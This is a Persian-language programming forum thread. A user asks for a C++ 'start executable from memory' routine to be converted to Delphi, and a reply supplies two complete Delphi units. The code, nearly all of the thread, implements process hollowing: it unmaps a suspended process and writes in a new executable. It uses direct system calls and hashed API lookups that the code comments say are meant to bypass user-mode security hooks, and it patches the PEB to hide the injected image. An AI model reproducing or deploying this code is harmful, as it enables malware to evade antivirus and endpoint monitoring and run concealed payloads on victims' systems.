N30TheM4TRIX
چهارشنبه 25 اردیبهشت 1392, 17:53 عصر
سلام
من زیاد به سی مسلط نیستم و کارم با دلفیه.
برای کار خاصی به این کد احتیاج دارم اگه کسی از دوستان میتونه برام تبدیلش کنه یا بگه چه کار کنم.
#include <Windows.h>
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
LPVOID LoadFileInMemory(LPCSTR szFileName)
{
HANDLE hFile;
DWORD dwRead;
DWORD dwSize;
LPVOID pBuffer = NULL;
hFile = CreateFileA(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile)
{
dwSize = GetFileSize(hFile, NULL);
if (dwSize > 0)
{
pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pBuffer)
{
SetFilePointer(hFile, NULL, NULL, FILE_BEGIN);
ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL);
}
}
CloseHandle(hFile);
}
return pBuffer;
}
void ExecuteFile(LPSTR szFilePath, LPVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
RtlZeroMemory(&SI, sizeof(SI));
RtlZeroMemory(&PI, sizeof(PI));
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandl eA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}
}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
int main()
{
LPVOID pFile;
TCHAR szFilePath[1024];
pFile = LoadFileInMemory("test.exe");
if (pFile)
{
GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
ExecuteFile(LPSTR(szFilePath), pFile);
}
return 0;
}
Sorce (http://forum.tuts4you.com/topic/29898-start-executable-from-memory/)
بهروز عباسی
شنبه 28 اردیبهشت 1392, 19:24 عصر
درود به همه
شاید این پست پاسخ این سوال نباشه (تبدیل کد ... ) ، ولی نتیجه یکیه !
نمیدونم چرا کد دلفی اینو بهم نداد:ناراحت:عین خیار فروختیم ؟:لبخند:
اینم کد دلفی ،ولی یه خورده عجیبه برات ها !
یک برنامه رو در فضای [حافظه] یه برنامه دیگه اجرا میکنه :
مواد لازم :
این یونیت :
{ U_UnionApi
Author: Abhe
Description: Anti Hook NTDLL API
Release Date: 1 December 2011
Website: http://cybercoding.wordpress.com/
History: Thanks method from GameDeception, not remember who.. <img src="http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" alt=":D" class="wp-smiley">
}
unit U_UnionApi;
interface
uses
Windows;
var
pSystemCall: Pointer;
WOW32Reserved: Cardinal;
Ntdll: Pointer;
SysNumber : DWORD;
function strlenA(const s: PAnsiChar): cardinal;
function LazyLoadPe(szFilename:PWideChar):Pointer;
Function GetSysNumber(ApiHash : DWORD):Word;overload;
Function GetSysNumber(ApiName : AnsiString):Word; overload;
function ExGetmoduleHandle(mhash: Cardinal): THANDLE;
function ExGetmoduleFileName(mhash: Cardinal): PWideChar;
function ApiStub: DWORD; stdcall;
{32}
function ApiCall32(Number : DWORD; Arg1: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7, Arg8: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg: Array of Const): DWORD; stdcall; overload;
function ApiCall32(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall; overload;
implementation
function strlenA(const s: PAnsiChar): cardinal;
asm
mov edx, edi
mov edi, eax
or ecx, -1
xor eax, eax
repne scasb
dec eax
dec eax
sub eax, ecx
mov edi, edx
end;
function adler32(adler: cardinal; buf: pointer; len: cardinal): cardinal;
asm
push ebx
push esi
push edi
mov edi,eax
shr edi,16
movzx ebx,ax
push ebp
mov esi,edx
test esi,esi
mov ebp,ecx
jne @31
mov eax,1
jmp @32
@31:
test ebp,ebp
jbe @34
@33:
cmp ebp,5552
jae @35
mov eax,ebp
jmp @36
@35:
mov eax,5552
@36:
sub ebp,eax
cmp eax,16
jl @38
xor edx,edx
xor ecx,ecx
@39:
sub eax,16
mov dl,[esi]
mov cl,[esi+1]
add ebx,edx
add edi,ebx
add ebx,ecx
mov dl,[esi+2]
add edi,ebx
add ebx,edx
mov cl,[esi+3]
add edi,ebx
add ebx,ecx
mov dl,[esi+4]
add edi,ebx
add ebx,edx
mov cl,[esi+5]
add edi,ebx
add ebx,ecx
mov dl,[esi+6]
add edi,ebx
add ebx,edx
mov cl,[esi+7]
add edi,ebx
add ebx,ecx
mov dl,[esi+8]
add edi,ebx
add ebx,edx
mov cl,[esi+9]
add edi,ebx
add ebx,ecx
mov dl,[esi+10]
add edi,ebx
add ebx,edx
mov cl,[esi+11]
add edi,ebx
add ebx,ecx
mov dl,[esi+12]
add edi,ebx
add ebx,edx
mov cl,[esi+13]
add edi,ebx
add ebx,ecx
mov dl,[esi+14]
add edi,ebx
add ebx,edx
mov cl,[esi+15]
add edi,ebx
add ebx,ecx
cmp eax,16
lea esi,[esi+16]
lea edi,[edi+ebx]
jge @39
@38:
test eax,eax
je @42
@43:
xor edx,edx
mov dl,[esi]
add ebx,edx
dec eax
lea esi,[esi+1]
lea edi,[edi+ebx]
jg @43
@42:
mov ecx,65521
mov eax,ebx
xor edx,edx
div ecx
mov ebx,edx
mov ecx,65521
mov eax,edi
xor edx,edx
div ecx
test ebp,ebp
mov edi,edx
ja @33
@34:
mov eax,edi
shl eax,16
or eax,ebx
@45:
@32:
pop ebp
pop edi
pop esi
pop ebx
end;
function LazyLoadPe(szFilename:PWideChar):Pointer;
var
hFile: DWORD;
dwSize: DWORD;
dwNull: DWORD;
temp: Pointer;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
result := nil;
hFile := CreateFileW(szFilename, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if (hFile = INVALID_HANDLE_VALUE) then exit;
dwSize := GetFileSize(hFile, nil);
GetMem(temp, dwSize);
if not ReadFile(hFile, temp^, dwSize, dwNull, nil) then exit;
IDH := temp;
INH := Pointer(Integer(temp) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, temp, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin
ISH := Pointer(Integer(temp) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(temp) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
FreeMem(temp, dwSize);
CloseHandle(hFile);
end;
function GetPEB(): Pointer;
asm
mov eax, large fs:30h
retn
end;
function ExGetmoduleHandle(mhash: Cardinal): THANDLE;
var
x , f, cur : DWORD;
Hash : Cardinal;
begin
result := 0;
x := DWORD(GetPEB);
if (mhash = 0) then begin
result := PDWORD(x+8)^;
exit;
end;
x := PDWORD(x+$C)^;
f := x+$14;
cur := PDWORD(f)^;
while (cur <> f) do begin
x := cur - $8;
Hash := adler32(0, Pointer(PDWORD(x+$30)^), PWORD(x+$2c)^);
if (hash=mhash) then begin
result := PDWORD(x+$18)^;
exit;
end;
cur := PDWORD(cur)^;
end;
end;
function ExGetmoduleFileName(mhash: Cardinal): PWideChar;
var
x , f, cur : DWORD;
Hash : Cardinal;
begin
result := nil;
x := DWORD(GetPEB);
x := PDWORD(x+$C)^;
f := x+$14;
cur := PDWORD(f)^;
while (cur <> f) do begin
x := cur - $8;
Hash := adler32(0, Pointer(PDWORD(x+$30)^), PWORD(x+$2c)^);
if (hash=mhash) then begin
result := PWidechar(Pointer(PDWORD(x+$28)^));
exit;
end;
cur := PDWORD(cur)^;
end;
end;
function ExGetProcAddress(hModule: THANDLE; phash: Cardinal): Pointer;
var
pINH: PImageNtHeaders;
pIDD: PImageDataDirectory;
pIED: PImageExportDirectory;
pdwFuncs1, pdwFuncs: PULONG;
pdwNames: PULONG;
pdwOrdinals: PWORD;
dwOrd1: DWORD;
i, k: cardinal;
apiname:PAnsiChar;
hash :Cardinal;
begin
result := nil;
pINH := PImageNtHeaders(Cardinal(hModule) + Cardinal(PImageDosHeader(hModule)^._lfanew));
pIDD := PImageDataDirectory(Cardinal(@pINH^.OptionalHeader .DataDirectory) + IMAGE_DIRECTORY_ENTRY_EXPORT);
pIED := PImageExportDirectory(ULONG(hModule) + pIDD^.VirtualAddress);
pdwFuncs := PULONG(ULONG(hModule) + Cardinal(pIED^.AddressOfFunctions));
pdwNames := PULONG(ULONG(hModule) + Cardinal(pIED^.AddressOfNames));
pdwOrdinals := PWORD(ULONG(hModule) + Cardinal(pIED^.AddressOfNameOrdinals));
pdwFuncs1 := pdwFuncs;
for i := 0 to pIED^.NumberOfNames - 1 do begin
dwOrd1 := pdwOrdinals^;
k := 0;
pdwFuncs := pdwFuncs1;
while (k < dwOrd1) do begin
inc(pdwFuncs);
inc(k);
end;
if (pdwFuncs^ < pIDD^.VirtualAddress) or (pdwFuncs^ >= pIDD^.VirtualAddress + pIDD^.Size) then begin
apiname := PAnsiChar(hModule + pdwNames^);
hash := adler32(0, apiname, strlenA(apiname));
if (hash = phash) then begin
result := Pointer(ULONG(hModule) + pdwFuncs^);
exit;
end;
end;
inc(pdwOrdinals);
inc(pdwNames);
end;
end;
Function GetSysNumber(ApiHash : DWORD):Word;
var
Addr : Pointer;
begin
Addr := ExGetProcAddress(Cardinal(Ntdll), ApiHash);
result := PWord(NativeUint(Addr)+1)^
end;
Function GetSysNumber(ApiName : AnsiString):Word;
var
Hash : Cardinal;
begin
hash := adler32(0, Pansichar(apiname), Length(apiname));
result := GetSysNumber(hash);
end;
//
// Manual System Call Api
//
function IsWow:NativeUint; stdcall;
asm
xor eax, eax
mov eax, fs:[eax+$18] //teb
mov eax, [eax+$C0] //WOW32Reserved
end;
function bSysenterAvailable: Bool;
asm
XOR EAX, EAX
CPUID
BT EDX, 11
db $D6 //SALC
end;
procedure INT2;
asm
LEA EDX, [ESP+8]
INT $2E
end;
procedure SYSENTER;
asm
MOV EDX, ESP
SYSENTER
end;
procedure WowCall;
asm
xor ecx,ecx
lea edx,[esp+4]
call dword ptr fs:[$0C0]
end;
Procedure InitSysCall;
begin
WOW32Reserved := IsWow;
{check if sysenter availabe, use int2 if not}
if not bSysenterAvailable then pSystemCall := @INT2
else pSystemCall := @SYSENTER;
if Boolean(WOW32Reserved) then pSystemCall := @WowCall;
end;
function ApiStub: DWORD; stdcall;
asm
POP EBP
mov edi, dword ptr [esp]
mov dword ptr [esp+4], edi
add esp, 4
push eax
call IsWow;
mov edi, eax
pop eax
dec edi
jns @F1
xor EDI, EDI
call pSystemCall
jmp @f2
@F1:
xor EDI, EDI
jmp pSystemCall
@F2:
//PUSH EBP
end;
function ApiCall32(Number : DWORD; Arg1: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5, Arg6, Arg7: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7, Arg8: Pointer): DWORD; stdcall;
asm
jmp ApiStub;
end;
function ApiCall32(Number : DWORD; Arg: Array of Const): DWORD; stdcall;
begin
case length(arg) of
1 : result := ApiCall32(Number, Arg[0].VPointer);
2 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer);
3 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer);
4 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer);
5 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer);
6 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer);
7 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer, Arg[6].VPointer);
8 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer, Arg[6].VPointer, Arg[7].VPointer);
else result := 0;
end;
end;
function ApiCall32(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall;
begin
result := ApiCall32(GetSysNumber(ApiName), Arg);
end;
initialization
Ntdll := LazyLoadPe(ExGetmoduleFileName($240C0388));
InitSysCall;
finalization
FreeMem(Ntdll);
end.
و این یونیت :
{ Just Another version execute File from memory, use native -> syscall for bypass all usermode hooker
Website: Cybercoding.wordpress.com / http://ic0de.org
Modified: abhe
Thanks : steve10120
}
unit U_MemExecute;
interface
uses
windows, System.SysUtils, U_UnionApi;
function ExecuteFromMem(szFilePath, szParams: String; pFile: Pointer;
PatchPEB: Boolean): DWORD;
implementation
Type
NTSTATUS = cardinal;
PVOID = Pointer;
PPVOID = ^PVOID;
PUnicodeString = ^TUnicodeString;
TUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
procedure xdebug(int: integer);
begin
// codesite.Send('error', int);
end;
function NtSuccess(Stat: LongInt): Boolean;
begin
Result := Stat >= 0;
end;
// just how virtualalloc from old code of win src
function ExVirtualAlloc(hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
var
Status: NTSTATUS;
begin
Status := ApiCall32('NtAllocateVirtualMemory', [hProcess, @lpAddress, 0,
@dwSize, flAllocationType, flProtect]);
if NtSuccess(Status) then
Result := lpAddress
else
Result := nil;
end;
function ExWriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer;
lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD)
: BOOL; stdcall;
var
RegionSize: cardinal;
Base: Pointer;
OldProtect: ULONG;
Status: NTSTATUS;
begin
Result := false;
RegionSize := nSize;
Base := lpBaseAddress;
Status := ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
PAGE_EXECUTE_READWRITE, @OldProtect]);
if NtSuccess(Status) then
begin
if ((OldProtect and PAGE_READWRITE) = PAGE_READWRITE) or
((OldProtect and PAGE_WRITECOPY) = PAGE_WRITECOPY) or
((OldProtect and PAGE_EXECUTE_READWRITE) = PAGE_EXECUTE_READWRITE) or
((OldProtect and PAGE_EXECUTE_WRITECOPY) = PAGE_EXECUTE_WRITECOPY) then
begin
ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
OldProtect, @OldProtect]);
Status := ApiCall32('NtWriteVirtualMemory', [hProcess, lpBaseAddress,
lpBuffer, nSize, @lpNumberOfBytesWritten]);
if NtSuccess(Status) then
begin
Result := true;
ApiCall32('NtFlushInstructionCache', [hProcess, lpBaseAddress, nSize]);
end;
end
else
begin
if ((OldProtect and PAGE_NOACCESS) = PAGE_NOACCESS) or
((OldProtect and PAGE_READONLY) = PAGE_READONLY) then
begin
ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
OldProtect, @OldProtect]);
end
else
begin
Status := ApiCall32('NtWriteVirtualMemory',
[hProcess, lpBaseAddress, lpBuffer, nSize, @lpNumberOfBytesWritten]);
ApiCall32('NtProtectVirtualMemory', [hProcess, @Base, @RegionSize,
OldProtect, @OldProtect]);
if NtSuccess(Status) then
begin
Result := true;
ApiCall32('NtFlushInstructionCache',
[hProcess, lpBaseAddress, nSize]);
end;
end;
end;
end;
end;
// patch imagepath from peb for make all getmodulefilename call will result true file lokation
Procedure PatchImagePathRemote(PH: THandle; Peb: DWORD;
szNewImageBaseName: PWideChar);
Label
Top, Retry;
var
no_success: integer;
ldr_data: DWORD;
Current: DWORD;
BytesRead: DWORD;
unicode: TUnicodeString;
pNewAddr: Pointer;
begin
no_success := 0;
Retry:
if (no_success >= 600) then
exit
else
begin
inc(no_success);
Sleep(50);
goto Top;
end;
Top:
xdebug(400);
// NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory', [PH, Ptr(Peb + $C),
@ldr_data, sizeof(ldr_data), @BytesRead]))) or (ldr_data = 0) then
goto Retry;
xdebug(401);
// NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory', [PH, Ptr(ldr_data + $C),
@Current, sizeof(Current), @BytesRead]))) or (Current = 0) then
goto Retry;
xdebug(402);
// NtReadVirtualMemory
if (not NtSuccess(ApiCall32('NtReadVirtualMemory', [PH, Ptr(Current + $24),
@unicode, sizeof(unicode), @BytesRead]))) then
exit;
unicode.Length := lstrlenW(szNewImageBaseName) * 2;
unicode.MaximumLength := unicode.Length + 2;
xdebug(403);
pNewAddr := ExVirtualAlloc(PH, nil, unicode.Length, $1000 or $2000, $40);
xdebug(404);
if (pNewAddr <> nil) then
begin
xdebug(405);
unicode.Buffer := pNewAddr;
ExWriteProcessMemory(PH, pNewAddr, szNewImageBaseName, unicode.Length,
BytesRead);
ExWriteProcessMemory(PH, Ptr(Current + $24), @unicode, sizeof(unicode),
BytesRead);
end;
end;
function Get4ByteAlignedContext(var Base: Pointer): PContext;
begin
Base := ExVirtualAlloc(THandle(-1), nil, sizeof(TContext) + 4, MEM_COMMIT,
PAGE_READWRITE);
Result := Base;
if Base <> nil then
while ((DWORD(Result) mod 4) <> 0) do
Result := Pointer(DWORD(Result) + 1);
end;
procedure PerformBaseRelocation(f_module: Pointer; INH: PImageNtHeaders;
f_delta: cardinal); stdcall;
var
l_i: cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^longword;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(cardinal(l_codebase) +
INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(cardinal(l_relocation) + 8);
for l_i := 0 to (Trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(cardinal(l_dest) + cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) +
l_relocation.SizeOfBlock);
end;
end;
end;
function AlignImage(pImage: Pointer): Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: Word;
begin
IDH := pImage;
INH := Pointer(integer(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
begin
ISH := Pointer(integer(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress),
Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;
function IsWow: Boolean;
type
TIsWow64Process = function(Handle: THandle; var IsWow64: BOOL): BOOL; stdcall;
var
hKernel32: integer;
IsWow64Process: TIsWow64Process;
IsWow64: BOOL;
begin
Result := false;
hKernel32 := LoadLibrary('kernel32.dll');
if (hKernel32 = 0) then
RaiseLastOSError;
@IsWow64Process := GetProcAddress(hKernel32, 'IsWow64Process');
if Assigned(IsWow64Process) then
begin
IsWow64 := false;
if (IsWow64Process(GetCurrentProcess, IsWow64)) then
begin
Result := IsWow64;
end
else
RaiseLastOSError;
end;
FreeLibrary(hKernel32);
end;
// execute pe file from memory
function ExecuteFromMem(szFilePath, szParams: String; pFile: Pointer;
PatchPEB: Boolean): DWORD;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
PI: TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase, pModule: Pointer;
dwIBase, dwread: DWORD;
Wow1, wow2: cardinal;
begin
Result := 0;
{ Check Image }
if pFile = nil then
exit;
IDH := pFile;
if (IDH^.e_magic <> IMAGE_DOS_SIGNATURE) then
exit;
INH := Pointer(integer(pFile) + IDH^._lfanew);
if (INH^.Signature <> IMAGE_NT_SIGNATURE) then
exit;
ZeroMemory(@SI, sizeof(TStartupInfo));
ZeroMemory(@PI, sizeof(TProcessInformation));
SI.cb := sizeof(TStartupInfo);
xdebug(200);
if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, false,
CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
{ check is64bit, if 64bit aplication then we dont inject to it.. inject to own file instead }
Wow1 := 1; // IsWow;
wow2 := 0;
// NtQueryInformationProcess -> ProcessWow64Information
ApiCall32('NtQueryInformationProcess', [PI.hProcess, 26, @wow2,
sizeof(wow2), nil]);
if (Wow1 <> 0) and (wow2 = 0) then
begin
{ target is 64bit, use self injection }
// NtTerminateProcess
ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
xdebug(207);
ExecuteFromMem(paramstr(0), szParams, pFile, PatchPEB);
exit;
end;
xdebug(201);
CT := Get4ByteAlignedContext(CTBase);
if (CT <> nil) then
begin
xdebug(202);
CT.ContextFlags := CONTEXT_FULL;
// NtGetContextThread
if NtSuccess(ApiCall32('NtGetContextThread', [PI.hThread, CT])) then
begin
xdebug(203);
dwread := 0;
// NtReadVirtualMemory
NtSuccess(ApiCall32('NtReadVirtualMemory',
[PI.hProcess, Pointer(CT.Ebx + 8), @dwIBase, sizeof(dwIBase),
@dwread]));
dwread := INH^.OptionalHeader.SizeOfImage;
if (dwIBase = INH^.OptionalHeader.ImageBase) then
begin
// NtUnmapViewOfSection
if ApiCall32('NtUnmapViewOfSection',
[PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)]) = 0 then
pModule := ExVirtualAlloc(PI.hProcess,
Pointer(INH^.OptionalHeader.ImageBase),
INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
else
pModule := ExVirtualAlloc(PI.hProcess, nil,
INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
end
else
pModule := ExVirtualAlloc(PI.hProcess,
Pointer(INH^.OptionalHeader.ImageBase),
INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (pModule <> nil) then
begin
xdebug(204);
pFile := AlignImage(pFile);
if (DWORD(pModule) <> INH^.OptionalHeader.ImageBase) then
begin
PerformBaseRelocation(pFile, INH,
(DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(integer(pFile) + IDH^._lfanew), INH, 248);
end;
ExWriteProcessMemory(PI.hProcess, pModule, pFile,
INH.OptionalHeader.SizeOfImage, dwread);
ExWriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule,
4, dwread);
CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
// NtSetContextThread
ApiCall32('NtSetContextThread', [PI.hThread, CT]);
// NtResumeThread
ApiCall32('NtResumeThread', [PI.hThread, nil]);
Result := PI.hThread;
if PatchPEB and (lstrcmp(PChar(paramstr(0)), PChar(szFilePath)) <> 0)
then
begin
xdebug(205);
PatchImagePathRemote(PI.hProcess, CT.Ebx, PWideChar(paramstr(0)));
end;
if (pFile <> nil) then
FreeMemory(pFile);
xdebug(206);
end;
end;
// NtFreeVirtualMemory
dwread := 0;
ApiCall32('NtFreeVirtualMemory', [THandle(-1), @CTBase, @dwread,
MEM_RELEASE]);
end;
if (Result = 0) then
begin
// NtTerminateProcess
ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
end;
end;
end;
end.
vBulletin® v4.2.5, Copyright ©2000-1403, Jelsoft Enterprises Ltd.